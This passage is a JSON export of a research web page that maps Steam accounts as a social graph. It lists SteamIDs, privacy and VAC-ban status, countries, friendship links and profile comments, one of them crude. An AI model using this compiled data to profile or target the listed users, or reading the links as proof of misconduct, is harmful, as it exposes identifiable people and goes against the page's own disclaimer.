      "source_html_sha256": "1a65a2a6f7d6f9fa5c2ea576a275e7e24733326df3809fb1c23bfbabdef9ae88",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "social_graph.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/social_graph.pdf",
        "sha256": "a89fdb61a2ba2843bfb9c3094c60c89afef8058ec939949a133036d80f5ca92d",
        "bytes": 359224,
        "pages": 10
      },
      "integrity": {
        "signed_object": "social_graph.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/social_graph.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/social_graph.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\n💡 Type a Steam profile name or ID. Hover nodes for details. Teal lines = Friendships. Amber dashed = Mutual Comments.\nFollow the connections. Inspect each relationship.\n\nSearch a profile. Choose a relationship type. Follow its direct neighbours in the captured records. Research tool: edges represent public relationships, not proof of direct contact, private coordination or misconduct between any two nodes. A 3,435-node layout is best read with filters.\n\nExplore one relationship at a time\n\n💡 Click & drag nodes to reorganize the graph. Hover to view detailed profiles. Teal solid lines = Friendships, Amber dashed lines = Mutual Comments.\n\nProfiles in the captured dataset\n\nFull source table: download all 3,435 rows (CSV). The table below initially shows the first 25 rows; search and pagination cover the complete dataset.\n\nPersona Name\tSteamID64\tPrivacy\tStatus\tGroup Memberships\tFrozen Inventory (USD)\tLocation\nMahatma Gandhi\t76561198333721623\tPUBLIC\tClean\tSteamIDcouk\t$0.00\tPH\nGalley//갤리🌠🌙\t76561198043416832\tPUBLIC\tClean\tSteamIDcouk\t$0.00\tKP\n$Schlächter\t76561198860277343\tPUBLIC\tClean\tsteambans\t$0.00\tUnknown\n❄r3dsn0w000™❄ [Cristi]🎮\t76561197986767957\tPUBLIC\tClean\tCommunityLegends\t$0.00\tRO\n(2a03) Wolfy\t76561197991671851\tPUBLIC\tCommunity\tsr_public\t$0.00\tUS\nZloy2288\t76561198038578334\tPUBLIC\tClean\tsteambans\t$0.00\tBY\njessy\t76561198039125237\tPUBLIC\tCommunity, VAC (1x)\tCommunityLegends\t$0.00\tJP\nJithraRufure\t76561198071896910\tPUBLIC\tClean\tsr_public\t$0.00\tUnknown\n| Níllerdínho |\t76561198003487438\tPUBLIC\tClean\tSteamIDcouk\t$0.00\tDK\nJones is back\t76561198023013026\tPRIVATE\tVAC (1x)\tsteambans\t$0.00\tUnknown\nUNEX | ★✠☠ MoH3st ☠✠\t76561198050763123\tPUBLIC\tClean\tsteambans\t$0.00\tDE\nTrojan\t76561198048457084\tPUBLIC\tClean\tCommunityLegends\t$0.00\tDE\n𝗠𝗮𝘆𝘂 ❤\t76561199377967696\tPUBLIC\tClean\tsr_public\t$0.00\tIS\nbig fucking idiot\t76561198871206397\tPUBLIC\tVAC (1x)\tsteambans\t$0.00\tUnknown\nSOFF Games\t76561198227129276\tPUBLIC\tClean\tcommunitymoderators\t$0.00\tRU\nThijminecraft02\t76561198253895669\tPUBLIC\tClean\tSteamIDcouk SArchive\t$0.00\tNL\nStatic-sama\t76561198289329793\tPUBLIC\tClean\tsteambans\t$0.00\tJP\n𝙸mmortal 𝚂targazer\t76561198142116760\tPUBLIC\tClean\tsr_public\t$0.00\tUnknown\nCommander Keen\t76561197987773287\tPUBLIC\tClean\tsteambans\t$0.00\tBE\nS1mX\t76561199648509165\tPUBLIC\tClean\tsr_public\t$0.00\tUnknown\nmixwell\t76561199276547472\tPUBLIC\tClean\tsr_public\t$0.00\tJP\nP90_GOD_YyEs™\t76561198285821942\tPUBLIC\tClean\tsteambans\t$0.00\tHK\nhewwo?\t76561199133807546\tPUBLIC\tVAC (1x)\tsteambans\t$0.00\tCH\n♕Kamikaze Atze♕\t76561198002700103\tPUBLIC\tClean\tsteambans\t$0.00\tDE\nPastica\t76561198154655970\tPUBLIC\tClean\tSteamIDcouk\t$0.00\tDZ\nRecorded friendship links\n\nFull source table: download all 4,299 rows (CSV). The table below initially shows the first 25 rows; search and pagination cover the complete dataset.\n\nUser A\tDirection\tUser B\tRelation Type\nMahatma Gandhi\n76561198333721623\t↔\tDeskjet\n76561198272738437\tMutual Friends\nGalley//갤리🌠🌙\n76561198043416832\t↔\tomega\n76561197960274529\tOne-way Friend\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\tFisty\n76561198057301486\tMutual Friends\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\tFaalagorn\n76561198001116101\tMutual Friends\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\tMURK\n76561198036995672\tOne-way Friend\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\tÅρøᴛʜℯᴛȋᴄÅʟȋℯη ♛👽♛\n76561197984615267\tMutual Friends\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\tsilatrak\n76561197999629462\tMutual Friends\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\tBlack Blade\n76561198083368493\tOne-way Friend\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\tAvenger\n76561197978249317\tOne-way Friend\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\tRemtar\n76561198124322650\tMutual Friends\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\tCato\n76561197961345984\tMutual Friends\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\t✪ G λ M Ξ ®\n76561197994308495\tMutual Friends\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\tclees42\n76561198030936806\tMutual Friends\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\t𝓜ε𝔰𝔥 | AusLevels\n76561198108828539\tMutual Friends\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\tSgtFopper™\n76561198002555892\tMutual Friends\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\t❥Miss Bee\n76561198046958996\tMutual Friends\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\tTesTy\n76561198032370068\tMutual Friends\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\tskl_andrey\n76561198136881436\tMutual Friends\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\t\"Exekutor\"\n76561198009583947\tOne-way Friend\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\tAraripe\n76561198103754372\tMutual Friends\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\tsteve6678\n76561198053200093\tMutual Friends\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\ttrinner\n76561197970359081\tMutual Friends\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\tSteph S.\n76561198025653291\tOne-way Friend\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\tKirito\n76561198154545657\tMutual Friends\n❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957\t↔\tDoc. todt\n76561197984492467\tMutual Friends\nRecorded comment links\n\nFull source table: download all 252 rows (CSV). The table below initially shows the first 25 rows; search and pagination cover the complete dataset.\n\nAuthor\tDirection\tTarget Profile\tDate\tComment Text\nDeskjet\n76561198272738437\t→\tMahatma Gandhi\n76561198333721623\t16 September, 2021 @ 11:02:05 pm PDT\t\"𝑵𝒐𝒘 𝒊𝒇 𝑰 𝒇𝒖𝒄𝒌 𝒕𝒉𝒊𝒔 𝒎𝒐𝒅𝒆𝒍𝑨𝒏𝒅 𝒔𝒉𝒆 𝒋𝒖𝒔𝒕 𝒃𝒍𝒆𝒂𝒄𝒉𝒆𝒅 𝒉𝒆𝒓 𝒂𝒔𝒔𝒉𝒐𝒍𝒆𝑨𝒏𝒅 𝑰 𝒈𝒆𝒕 𝒃𝒍𝒆𝒂𝒄𝒉 𝒐𝒏 𝒎𝒚 𝑻-𝒔𝒉𝒊𝒓𝒕𝑰'𝒎𝒎𝒂 𝒇𝒆𝒆𝒍 𝒍𝒊𝒌𝒆 𝒂𝒏 𝒂𝒔𝒔𝒉𝒐𝒍𝒆\" - Nelson Mandela\nGalley//갤리🌠🌙\n76561198043416832\t→\tGalley//갤리🌠🌙\n76561198043416832\t22 November, 2021 @ 4:10:28 pm PDT\thttps://anige.horigiri.net/?cat=22\nGalley//갤리🌠🌙\n76561198043416832\t→\tGalley//갤리🌠🌙\n76561198043416832\t18 November, 2021 @ 12:45:26 am PDT\thttps://gamerch.com/umamusume/entry/250411\nGalley//갤리🌠🌙\n76561198043416832\t→\tGalley//갤리🌠🌙\n76561198043416832\t8 August, 2021 @ 4:13:25 am PDT\thttps://modoocode.com/304\nGalley//갤리🌠🌙\n76561198043416832\t→\tGalley//갤리🌠🌙\n76561198043416832\t6 February, 2021 @ 3:35:05 pm PDT\t▤ ∫︹- -ω⁾ ⁽︹▓▓︺\nGalley//갤리🌠🌙\n76561198043416832\t→\tGalley//갤리🌠🌙\n76561198043416832\t11 December, 2019 @ 1:50:53 am PDT\thttps://blog.naver.com/aksenwlddj12/221369410039\nGalley//갤리🌠🌙\n76561198043416832\t→\tGalley//갤리🌠🌙\n76561198043416832\t2 October, 2019 @ 7:11:59 am PDT\tǤαllєу║︎갤리..۩\nGalley//갤리🌠🌙\n76561198043416832\t→\tGalley//갤리🌠🌙\n76561198043416832\t9 April, 2019 @ 12:51:28 pm PDT\tExplosiveDamage(owner, from, maxrange, minrange, distmultiplier, dmgmultiplier, mindamage, typ, damagetype, ignore)\nGalley//갤리🌠🌙\n76561198043416832\t→\tGalley//갤리🌠🌙\n76561198043416832\t7 April, 2019 @ 12:22:47 pm PDT\tinfo - sh_titles.lua\nGalley//갤리🌠🌙\n76561198043416832\t→\tGalley//갤리🌠🌙\n76561198043416832\t7 April, 2019 @ 12:21:46 pm PDT\tlocal nibbas = 1344 init.lua\nGalley//갤리🌠🌙\n76561198043416832\t→\tGalley//갤리🌠🌙\n76561198043416832\t7 April, 2019 @ 11:31:58 am PDT\thttp://foreign.aladin.co.kr/shop/wproduct.aspx?ItemId=123955531&start=slayer\nGalley//갤리🌠🌙\n76561198043416832\t→\tGalley//갤리🌠🌙\n76561198043416832\t3 April, 2019 @ 1:26:41 am PDT\tǤαllєу\nLei\n76561198982197954\t→\tJithraRufure\n76561198071896910\t29 December, 2024 @ 12:58:08 pm PDT\t+rep he knows how 2 rush B ￣ヘ￣\nmixwell\n76561199276547472\t→\tmixwell\n76561199276547472\t2 September, 2026 @ 5:16:55 am PDT\tlol\nmixwell\n76561199276547472\t→\tmixwell\n76561199276547472\t20 August, 2026 @ 6:11:03 am PDT\t?\nmixwell\n76561199276547472\t→\tmixwell\n76561199276547472\t25 July, 2026 @ 7:20:05 am PDT\thahahahaha\nmixwell\n76561199276547472\t→\tmixwell\n76561199276547472\t30 June, 2026 @ 12:52:42 pm PDT\twow\nmixwell\n76561199276547472\t→\tmixwell\n76561199276547472\t30 June, 2026 @ 12:41:32 pm PDT\txD\nvalorant enjoyer\n76561199112142402\t→\tmixwell\n76561199276547472\t29 June, 2026 @ 10:26:30 pm PDT\toh no!!\nmixwell\n76561199276547472\t→\tmixwell\n76561199276547472\t29 June, 2026 @ 10:26:11 pm PDT\toh no!!\nmixwell\n76561199276547472\t→\tmixwell\n76561199276547472\t29 June, 2026 @ 10:22:22 pm PDT\tomg !!! they know my secret, omg!!!\nvalorant enjoyer\n76561199112142402\t→\tmixwell\n76561199276547472\t29 June, 2026 @ 10:21:39 pm PDT\t+rep good ♥♥♥♥♥ player\nmixwell\n76561199276547472\t→\tmixwell\n76561199276547472\t29 June, 2026 @ 10:20:50 pm PDT\tomg! u cant cheat on secure gaben servers, omg dont report me, they ban me for boosted omg\nmixwell\n76561199276547472\t→\tmixwell\n76561199276547472\t29 June, 2026 @ 8:37:11 pm PDT\txD\nmixwell\n76561199276547472\t→\tmixwell\n76561199276547472\t28 June, 2026 @ 1:58:14 pm PDT\twow",
        "headings": [
          {
            "level": 1,
            "text": "Follow the connections. Inspect each relationship.",
            "anchor": "pd-social_graph--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/social_graph"
          },
          {
            "level": 2,
            "text": "Explore one relationship at a time",
            "anchor": "pd-social_graph--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/social_graph"
          },
          {
            "level": 2,
            "text": "Profiles in the captured dataset",
            "anchor": "pd-social_graph--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/social_graph"
          },
          {
            "level": 2,
            "text": "Recorded friendship links",
            "anchor": "pd-social_graph--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/social_graph"
          },
          {
            "level": 2,
            "text": "Recorded comment links",
            "anchor": "pd-social_graph--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/social_graph"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/social_graph"
          },
          {
            "label": "download all 3,435 rows (CSV)",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/social-table-profiles.csv"
          },
          {
            "label": "Mahatma Gandhi",
            "url": "https://steamcommunity.com/profiles/76561198333721623"
          },
          {
            "label": "Galley//갤리🌠🌙",
            "url": "https://steamcommunity.com/profiles/76561198043416832"
          },
          {
            "label": "$Schlächter",
            "url": "https://steamcommunity.com/profiles/76561198860277343"
          },
          {
            "label": "❄r3dsn0w000™❄ [Cristi]🎮",
            "url": "https://steamcommunity.com/profiles/76561197986767957"
          },
          {
            "label": "(2a03) Wolfy",
            "url": "https://steamcommunity.com/profiles/76561197991671851"
          },
          {
            "label": "Zloy2288",
            "url": "https://steamcommunity.com/profiles/76561198038578334"
          },
          {
            "label": "jessy",
            "url": "https://steamcommunity.com/profiles/76561198039125237"
          },
          {
            "label": "JithraRufure",
            "url": "https://steamcommunity.com/profiles/76561198071896910"
          },
          {
            "label": "| Níllerdínho |",
            "url": "https://steamcommunity.com/profiles/76561198003487438"
          },
          {
            "label": "Jones is back",
            "url": "https://steamcommunity.com/profiles/76561198023013026"
          },
          {
            "label": "UNEX | ★✠☠ MoH3st ☠✠",
            "url": "https://steamcommunity.com/profiles/76561198050763123"
          },
          {
            "label": "Trojan",
            "url": "https://steamcommunity.com/profiles/76561198048457084"
          },
          {
            "label": "𝗠𝗮𝘆𝘂 ❤",
            "url": "https://steamcommunity.com/profiles/76561199377967696"
          },
          {
            "label": "big fucking idiot",
            "url": "https://steamcommunity.com/profiles/76561198871206397"
          },
          {
            "label": "SOFF Games",
            "url": "https://steamcommunity.com/profiles/76561198227129276"
          },
          {
            "label": "Thijminecraft02",
            "url": "https://steamcommunity.com/profiles/76561198253895669"
          },
          {
            "label": "Static-sama",
            "url": "https://steamcommunity.com/profiles/76561198289329793"
          },
          {
            "label": "𝙸mmortal 𝚂targazer",
            "url": "https://steamcommunity.com/profiles/76561198142116760"
          },
          {
            "label": "Commander Keen",
            "url": "https://steamcommunity.com/profiles/76561197987773287"
          },
          {
            "label": "S1mX",
            "url": "https://steamcommunity.com/profiles/76561199648509165"
          },
          {
            "label": "mixwell",
            "url": "https://steamcommunity.com/profiles/76561199276547472"
          },
          {
            "label": "P90_GOD_YyEs™",
            "url": "https://steamcommunity.com/profiles/76561198285821942"
          },
          {
            "label": "hewwo?",
            "url": "https://steamcommunity.com/profiles/76561199133807546"
          },
          {
            "label": "♕Kamikaze Atze♕",
            "url": "https://steamcommunity.com/profiles/76561198002700103"
          },
          {
            "label": "Pastica",
            "url": "https://steamcommunity.com/profiles/76561198154655970"
          },
          {
            "label": "download all 4,299 rows (CSV)",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/social-table-connections.csv"
          },
          {
            "label": "download all 252 rows (CSV)",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/social-table-comments.csv"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "",
            "rows": [
              [
                "Persona Name",
                "SteamID64",
                "Privacy",
                "Status",
                "Group Memberships",
                "Frozen Inventory (USD)",
                "Location"
              ],
              [
                "Mahatma Gandhi",
                "76561198333721623",
                "PUBLIC",
                "Clean",
                "SteamIDcouk",
                "$0.00",
                "PH"
              ],
              [
                "Galley//갤리🌠🌙",
                "76561198043416832",
                "PUBLIC",
                "Clean",
                "SteamIDcouk",
                "$0.00",
                "KP"
              ],
              [
                "$Schlächter",
                "76561198860277343",
                "PUBLIC",
                "Clean",
                "steambans",
                "$0.00",
                "Unknown"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮",
                "76561197986767957",
                "PUBLIC",
                "Clean",
                "CommunityLegends",
                "$0.00",
                "RO"
              ],
              [
                "(2a03) Wolfy",
                "76561197991671851",
                "PUBLIC",
                "Community",
                "sr_public",
                "$0.00",
                "US"
              ],
              [
                "Zloy2288",
                "76561198038578334",
                "PUBLIC",
                "Clean",
                "steambans",
                "$0.00",
                "BY"
              ],
              [
                "jessy",
                "76561198039125237",
                "PUBLIC",
                "Community, VAC (1x)",
                "CommunityLegends",
                "$0.00",
                "JP"
              ],
              [
                "JithraRufure",
                "76561198071896910",
                "PUBLIC",
                "Clean",
                "sr_public",
                "$0.00",
                "Unknown"
              ],
              [
                "| Níllerdínho |",
                "76561198003487438",
                "PUBLIC",
                "Clean",
                "SteamIDcouk",
                "$0.00",
                "DK"
              ],
              [
                "Jones is back",
                "76561198023013026",
                "PRIVATE",
                "VAC (1x)",
                "steambans",
                "$0.00",
                "Unknown"
              ],
              [
                "UNEX | ★✠☠ MoH3st ☠✠",
                "76561198050763123",
                "PUBLIC",
                "Clean",
                "steambans",
                "$0.00",
                "DE"
              ],
              [
                "Trojan",
                "76561198048457084",
                "PUBLIC",
                "Clean",
                "CommunityLegends",
                "$0.00",
                "DE"
              ],
              [
                "𝗠𝗮𝘆𝘂 ❤",
                "76561199377967696",
                "PUBLIC",
                "Clean",
                "sr_public",
                "$0.00",
                "IS"
              ],
              [
                "big fucking idiot",
                "76561198871206397",
                "PUBLIC",
                "VAC (1x)",
                "steambans",
                "$0.00",
                "Unknown"
              ],
              [
                "SOFF Games",
                "76561198227129276",
                "PUBLIC",
                "Clean",
                "communitymoderators",
                "$0.00",
                "RU"
              ],
              [
                "Thijminecraft02",
                "76561198253895669",
                "PUBLIC",
                "Clean",
                "SteamIDcouk SArchive",
                "$0.00",
                "NL"
              ],
              [
                "Static-sama",
                "76561198289329793",
                "PUBLIC",
                "Clean",
                "steambans",
                "$0.00",
                "JP"
              ],
              [
                "𝙸mmortal 𝚂targazer",
                "76561198142116760",
                "PUBLIC",
                "Clean",
                "sr_public",
                "$0.00",
                "Unknown"
              ],
              [
                "Commander Keen",
                "76561197987773287",
                "PUBLIC",
                "Clean",
                "steambans",
                "$0.00",
                "BE"
              ],
              [
                "S1mX",
                "76561199648509165",
                "PUBLIC",
                "Clean",
                "sr_public",
                "$0.00",
                "Unknown"
              ],
              [
                "mixwell",
                "76561199276547472",
                "PUBLIC",
                "Clean",
                "sr_public",
                "$0.00",
                "JP"
              ],
              [
                "P90_GOD_YyEs™",
                "76561198285821942",
                "PUBLIC",
                "Clean",
                "steambans",
                "$0.00",
                "HK"
              ],
              [
                "hewwo?",
                "76561199133807546",
                "PUBLIC",
                "VAC (1x)",
                "steambans",
                "$0.00",
                "CH"
              ],
              [
                "♕Kamikaze Atze♕",
                "76561198002700103",
                "PUBLIC",
                "Clean",
                "steambans",
                "$0.00",
                "DE"
              ],
              [
                "Pastica",
                "76561198154655970",
                "PUBLIC",
                "Clean",
                "SteamIDcouk",
                "$0.00",
                "DZ"
              ]
            ]
          },
          {
            "id": "table-2",
            "caption": "",
            "rows": [
              [
                "User A",
                "Direction",
                "User B",
                "Relation Type"
              ],
              [
                "Mahatma Gandhi\n76561198333721623",
                "↔",
                "Deskjet\n76561198272738437",
                "Mutual Friends"
              ],
              [
                "Galley//갤리🌠🌙\n76561198043416832",
                "↔",
                "omega\n76561197960274529",
                "One-way Friend"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "Fisty\n76561198057301486",
                "Mutual Friends"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "Faalagorn\n76561198001116101",
                "Mutual Friends"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "MURK\n76561198036995672",
                "One-way Friend"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "ÅρøᴛʜℯᴛȋᴄÅʟȋℯη ♛👽♛\n76561197984615267",
                "Mutual Friends"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "silatrak\n76561197999629462",
                "Mutual Friends"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "Black Blade\n76561198083368493",
                "One-way Friend"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "Avenger\n76561197978249317",
                "One-way Friend"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "Remtar\n76561198124322650",
                "Mutual Friends"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "Cato\n76561197961345984",
                "Mutual Friends"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "✪ G λ M Ξ ®\n76561197994308495",
                "Mutual Friends"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "clees42\n76561198030936806",
                "Mutual Friends"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "𝓜ε𝔰𝔥 | AusLevels\n76561198108828539",
                "Mutual Friends"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "SgtFopper™\n76561198002555892",
                "Mutual Friends"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "❥Miss Bee\n76561198046958996",
                "Mutual Friends"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "TesTy\n76561198032370068",
                "Mutual Friends"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "skl_andrey\n76561198136881436",
                "Mutual Friends"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "\"Exekutor\"\n76561198009583947",
                "One-way Friend"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "Araripe\n76561198103754372",
                "Mutual Friends"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "steve6678\n76561198053200093",
                "Mutual Friends"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "trinner\n76561197970359081",
                "Mutual Friends"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "Steph S.\n76561198025653291",
                "One-way Friend"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "Kirito\n76561198154545657",
                "Mutual Friends"
              ],
              [
                "❄r3dsn0w000™❄ [Cristi]🎮\n76561197986767957",
                "↔",
                "Doc. todt\n76561197984492467",
                "Mutual Friends"
              ]
            ]
          },
          {
            "id": "table-3",
            "caption": "",
            "rows": [
              [
                "Author",
                "Direction",
                "Target Profile",
                "Date",
                "Comment Text"
              ],
              [
                "Deskjet\n76561198272738437",
                "→",
                "Mahatma Gandhi\n76561198333721623",
                "16 September, 2021 @ 11:02:05 pm PDT",
                "\"𝑵𝒐𝒘 𝒊𝒇 𝑰 𝒇𝒖𝒄𝒌 𝒕𝒉𝒊𝒔 𝒎𝒐𝒅𝒆𝒍𝑨𝒏𝒅 𝒔𝒉𝒆 𝒋𝒖𝒔𝒕 𝒃𝒍𝒆𝒂𝒄𝒉𝒆𝒅 𝒉𝒆𝒓 𝒂𝒔𝒔𝒉𝒐𝒍𝒆𝑨𝒏𝒅 𝑰 𝒈𝒆𝒕 𝒃𝒍𝒆𝒂𝒄𝒉 𝒐𝒏 𝒎𝒚 𝑻-𝒔𝒉𝒊𝒓𝒕𝑰'𝒎𝒎𝒂 𝒇𝒆𝒆𝒍 𝒍𝒊𝒌𝒆 𝒂𝒏 𝒂𝒔𝒔𝒉𝒐𝒍𝒆\" - Nelson Mandela"
              ],
              [
                "Galley//갤리🌠🌙\n76561198043416832",
                "→",
                "Galley//갤리🌠🌙\n76561198043416832",
                "22 November, 2021 @ 4:10:28 pm PDT",
                "https://anige.horigiri.net/?cat=22"
              ],
              [
                "Galley//갤리🌠🌙\n76561198043416832",
                "→",
                "Galley//갤리🌠🌙\n76561198043416832",
                "18 November, 2021 @ 12:45:26 am PDT",
                "https://gamerch.com/umamusume/entry/250411"
              ],
              [
                "Galley//갤리🌠🌙\n76561198043416832",
                "→",
                "Galley//갤리🌠🌙\n76561198043416832",
                "8 August, 2021 @ 4:13:25 am PDT",
                "https://modoocode.com/304"
              ],
              [
                "Galley//갤리🌠🌙\n76561198043416832",
                "→",
                "Galley//갤리🌠🌙\n76561198043416832",
                "6 February, 2021 @ 3:35:05 pm PDT",
                "▤ ∫︹- -ω⁾ ⁽︹▓▓︺"
              ],
              [
                "Galley//갤리🌠🌙\n76561198043416832",
                "→",
                "Galley//갤리🌠🌙\n76561198043416832",
                "11 December, 2019 @ 1:50:53 am PDT",
                "https://blog.naver.com/aksenwlddj12/221369410039"
              ],
              [
                "Galley//갤리🌠🌙\n76561198043416832",
                "→",
                "Galley//갤리🌠🌙\n76561198043416832",
                "2 October, 2019 @ 7:11:59 am PDT",
                "Ǥαllєу║︎갤리..۩"
              ],
              [
                "Galley//갤리🌠🌙\n76561198043416832",
                "→",
                "Galley//갤리🌠🌙\n76561198043416832",
                "9 April, 2019 @ 12:51:28 pm PDT",
                "ExplosiveDamage(owner, from, maxrange, minrange, distmultiplier, dmgmultiplier, mindamage, typ, damagetype, ignore)"
              ],
              [
                "Galley//갤리🌠🌙\n76561198043416832",
                "→",
                "Galley//갤리🌠🌙\n76561198043416832",
                "7 April, 2019 @ 12:22:47 pm PDT",
                "info - sh_titles.lua"
              ],
              [
                "Galley//갤리🌠🌙\n76561198043416832",
                "→",
                "Galley//갤리🌠🌙\n76561198043416832",
                "7 April, 2019 @ 12:21:46 pm PDT",
                "local nibbas = 1344 init.lua"
              ],
              [
                "Galley//갤리🌠🌙\n76561198043416832",
                "→",
                "Galley//갤리🌠🌙\n76561198043416832",
                "7 April, 2019 @ 11:31:58 am PDT",
                "http://foreign.aladin.co.kr/shop/wproduct.aspx?ItemId=123955531&start=slayer"
              ],
              [
                "Galley//갤리🌠🌙\n76561198043416832",
                "→",
                "Galley//갤리🌠🌙\n76561198043416832",
                "3 April, 2019 @ 1:26:41 am PDT",
                "Ǥαllєу"
              ],
              [
                "Lei\n76561198982197954",
                "→",
                "JithraRufure\n76561198071896910",
                "29 December, 2024 @ 12:58:08 pm PDT",
                "+rep he knows how 2 rush B ￣ヘ￣"
              ],
              [
                "mixwell\n76561199276547472",
                "→",
                "mixwell\n76561199276547472",
                "2 September, 2026 @ 5:16:55 am PDT",
                "lol"
              ],
              [
                "mixwell\n76561199276547472",
                "→",
                "mixwell\n76561199276547472",
                "20 August, 2026 @ 6:11:03 am PDT",
                "?"
              ],
              [
                "mixwell\n76561199276547472",
                "→",
                "mixwell\n76561199276547472",
                "25 July, 2026 @ 7:20:05 am PDT",
                "hahahahaha"
              ],
              [
                "mixwell\n76561199276547472",
                "→",
                "mixwell\n76561199276547472",
                "30 June, 2026 @ 12:52:42 pm PDT",
                "wow"
              ],
              [
                "mixwell\n76561199276547472",
                "→",
                "mixwell\n76561199276547472",
                "30 June, 2026 @ 12:41:32 pm PDT",
                "xD"
              ],
              [
                "valorant enjoyer\n76561199112142402",
                "→",
                "mixwell\n76561199276547472",
                "29 June, 2026 @ 10:26:30 pm PDT",
                "oh no!!"
              ],
              [
                "mixwell\n76561199276547472",
                "→",
                "mixwell\n76561199276547472",
                "29 June, 2026 @ 10:26:11 pm PDT",
                "oh no!!"
              ],
              [
                "mixwell\n76561199276547472",
                "→",
                "mixwell\n76561199276547472",
                "29 June, 2026 @ 10:22:22 pm PDT",
                "omg !!! they know my secret, omg!!!"
              ],
              [
                "valorant enjoyer\n76561199112142402",
                "→",
                "mixwell\n76561199276547472",
                "29 June, 2026 @ 10:21:39 pm PDT",
                "+rep good ♥♥♥♥♥ player"
              ],
              [
